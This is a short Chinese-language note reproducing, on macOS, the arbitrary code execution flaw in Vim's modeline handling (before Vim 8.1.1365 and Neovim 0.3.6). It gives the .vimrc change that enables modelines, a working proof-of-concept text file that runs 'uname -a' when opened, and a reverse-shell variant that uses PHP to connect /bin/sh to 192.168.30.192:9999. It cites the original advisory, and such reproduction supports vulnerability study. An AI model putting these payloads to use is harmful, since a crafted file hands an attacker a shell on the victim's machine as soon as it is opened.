在8.1.1365之前的Vim和在0.3.6之前的Neovim很容易通过打开特制的文本文件而通过模型执行任意代码。
mac下复现
前置条件
条件一:Vim < 8.1.1365, Neovim < 0.3.6,复现的mac下vim版本为8.0.1283;
条件二:确保未禁用modeline选项(:set modeline)。
可惜vim默认关闭modeline,开启的话需要修改home下的.vimrc全局配置文件:
Mac下默认没有用户配置文件.vimrc,创建/Users/用户名/.vimrc文件,文件内容复制/usr/share/vim/vimrc(mac下vim的全局配置文件)中的内容,但需要修改一行-set modelines=0 “ CVE-2007-2438改为set modelines=1 “ CVE-2007-2438:
.vimrc文件内容:
“ Configuration file for vim
set modelines=1 “ CVE-2007-2438“ Normally we use vim-extensions. If you want true vi-compatibility
“ remove change the following statements
set nocompatible “ Use Vim defaults instead of 100% vi compatibility
set backspace=2 “ more powerful backspacing“ Don’t write backup file if vim is being called by “crontab -e”
au BufWrite /private/tmp/crontab. set nowritebackup nobackup
“ Don’t write backup file if vim is being called by “chpass”
au BufWrite /private/etc/pw. set nowritebackup nobackuplet skip_defaults_vim=1
poc
创建poc.txt:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
在Vim中打开文件:
$ vim poc.txt
系统将执行uname -a
反向shell
该PoC概述了一种真实的攻击方法,其中一旦用户打开文件就启动反向shell。为了隐藏攻击,文件将在打开时立即重写。此外,PoC使用终端转义序列在打印内容时隐藏模式行cat。(cat -v揭示实际内容。)
macmacshell3.txt(原本的shell1.txt在mac下各种报错,nc/python/bash都不好使,php好使):
:!php -r '$sock=fsockopen("192.168.30.192",9999);exec("/bin/sh -i <&3 >&3 2>&3");'||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
出处
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md